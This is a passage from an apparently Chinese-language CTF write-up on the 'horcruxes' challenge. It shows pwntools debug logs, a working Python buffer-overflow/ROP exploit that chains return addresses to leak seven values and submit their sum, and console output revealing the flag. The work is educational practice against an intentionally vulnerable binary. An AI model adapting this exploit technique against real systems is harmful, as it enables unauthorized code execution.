</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">    b&#39;Voldemort concealed his splitted soul inside 7 horcruxes.\n&#39;
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">    b&#39;Find all horcruxes, and destroy it!\n&#39;
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">[DEBUG] Received 0x1 bytes:
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">    b&#39;\n&#39;
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">[DEBUG] Received 0xc bytes:
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="go">    b&#39;Select Menu:&#39;
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="go">[DEBUG] Sent 0x2 bytes:
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="go">    b&#39;1\n&#39;
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="go">[DEBUG] Received 0x1f bytes:
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="go">    b&#39;How many EXP did you earned? : &#39;
</span></span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="go">[DEBUG] Sent 0x7d bytes:
</span></span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="go">    00000000  4b 4b 4b 4b  4b 4b 4b 4b  4b 4b 4b 4b  4b 4b 4b 4b  │KKKK│KKKK│KKKK│KKKK│
</span></span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="go">    *
</span></span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="go">    00000070  4b 4b 4b 4b  4b 4b 4b 4b  9d 12 04 08  0a           │KKKK│KKKK│····│·│
</span></span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="go">    0000007d
</span></span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="go">[*] Switching to interactive mode
</span></span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="go"> [DEBUG] Received 0x63 bytes:
</span></span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="go">    b&#34;You&#39;d better get more experience to kill Voldemort\n&#34;
</span></span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="go">    b&#39;You found &#34;Tom Riddle\&#39;s Diary&#34; (EXP +486248299)\n&#39;
</span></span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="go">You&#39;d better get more experience to kill Voldemort
</span></span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="go">You found &#34;Tom Riddle&#39;s Diary&#34; (EXP +486248299)
</span></span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="go">[*] Got EOF while reading in interactive
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>本地调试是可以打印sum值的，但是flag在远程服务器内存里面。不能直接打印sum输入，如果通过构造print sum可能可以，不过太麻烦了。
所以思路是，连续跳转7个函数获得他们的七个变量值，然后跳转到ropme函数，输入此值。
调试完如下：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">[DEBUG] Sent 0x95 bytes:
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">    00000000  4b 4b 4b 4b  4b 4b 4b 4b  4b 4b 4b 4b  4b 4b 4b 4b  │KKKK│KKKK│KKKK│KKKK│
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">    *
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">    00000070  4b 4b 4b 4b  4b 4b 4b 4b  9d 12 04 08  cf 12 04 08  │KKKK│KKKK│····│····│
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">    00000080  01 13 04 08  33 13 04 08  65 13 04 08  97 13 04 08  │····│3···│e···│····│
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">    00000090  c9 13 04 08  0a                                     │····│·│
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">    00000095
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">[+] Receiving all data: Done (400B)
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">[DEBUG] Received 0x18f bytes:
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">    b&#34;You&#39;d better get more experience to kill Voldemort\n&#34;
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">    b&#39;You found &#34;Tom Riddle\&#39;s Diary&#34; (EXP +562380540)\n&#39;
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">    b&#39;You found &#34;Marvolo Gaunt\&#39;s Ring&#34; (EXP +611155077)\n&#39;
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">    b&#39;You found &#34;Helga Hufflepuff\&#39;s Cup&#34; (EXP +-1487860692)\n&#39;
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">    b&#39;You found &#34;Salazar Slytherin\&#39;s Locket&#34; (EXP +25295173)\n&#39;
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">    b&#39;You found &#34;Rowena Ravenclaw\&#39;s Diadem&#34; (EXP +478526694)\n&#39;
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">    b&#39;You found &#34;Nagini the Snake&#34; (EXP +72754451)\n&#39;
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">    b&#39;You found &#34;Harry Potter&#34; (EXP +43094901)\n&#39;
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">[*] Process &#39;/home/horcruxes/horcruxes&#39; stopped with exit code -11 (SIGSEGV) (pid 743638)
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>循环获取地址，再跳到ropme输入</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="c1"># context.log_level = &#39;DEBUG&#39;</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">A</span> <span class="o">=</span> <span class="mh">0x0804129D</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">B</span> <span class="o">=</span> <span class="mh">0x080412CF</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">C</span> <span class="o">=</span> <span class="mh">0x08041301</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">D</span> <span class="o">=</span> <span class="mh">0x08041333</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">E</span> <span class="o">=</span> <span class="mh">0x08041365</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">F</span> <span class="o">=</span> <span class="mh">0x08041397</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">G</span> <span class="o">=</span> <span class="mh">0x080413C9</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">ropme</span> <span class="o">=</span> <span class="mh">0x0804150B</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;K&#39;</span> <span class="o">*</span> <span class="mi">120</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">A</span><span class="p">)</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">B</span><span class="p">)</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">C</span><span class="p">)</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">D</span><span class="p">)</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">E</span><span class="p">)</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">F</span><span class="p">)</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">G</span><span class="p">)</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">ropme</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;localhost&#39;</span><span class="p">,</span><span class="mi">9032</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;Select Menu:&#39;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;? :&#39;</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="mi">7</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">7</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;EXP +&#39;</span><span class="p">,</span><span class="n">drop</span> <span class="o">=</span> <span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="n">arr</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;)&#39;</span><span class="p">,</span><span class="n">drop</span> <span class="o">=</span> <span class="kc">True</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">arr</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="n">res</span> <span class="o">=</span> <span class="nb">sum</span><span class="p">(</span><span class="n">arr</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;result:&#39;</span><span class="p">,</span><span class="n">res</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;Select Menu:&#39;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;? :&#39;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">res</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvall</span><span class="p">())</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>这个脚本居然是好是坏，然后才知道 res 有时候会发生32位的整数溢出，超过<code>2^32 -1</code> 后输入程序后被溢出处理了：
C 语言直接相加得到的溢出，采用一种 <strong>补码模 2<sup>32</sup> 回绕</strong> 的方式计算和，我们后面的脚本也会用这种方式处理</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">horcruxes@ubuntu:/tmp/ho$ python exp.py 
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">[+] Opening connection to localhost on port 9032: Done
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">-1945348568
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">975697595
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">1106329182
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">1898166304
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">-944707200
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">331707676
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">-1572631988
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">result: -150786999
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">[+] Receiving all data: Done (35B)
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">[*] Closed connection to localhost port 9032
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">b&#39; The_M4gic_sp3l1_is_Avada_Ked4vra\n\n&#39;
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">horcruxes@ubuntu:/tmp/ho$ python exp.py 
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">[+] Opening connection to localhost on port 9032: Done
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">1099854830
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">-1615582172
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">763123778
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">637798602
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="go">293614253
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="go">535174699
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="go">844835418
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="go">result: 2558819408
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="go">[+] Receiving all data: Done (52B)
</span></span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="go">[*] Closed connection to localhost port 9032
</span></span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="go">b&#34; You&#39;d better get more experience to kill Voldemort\n&#34;
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
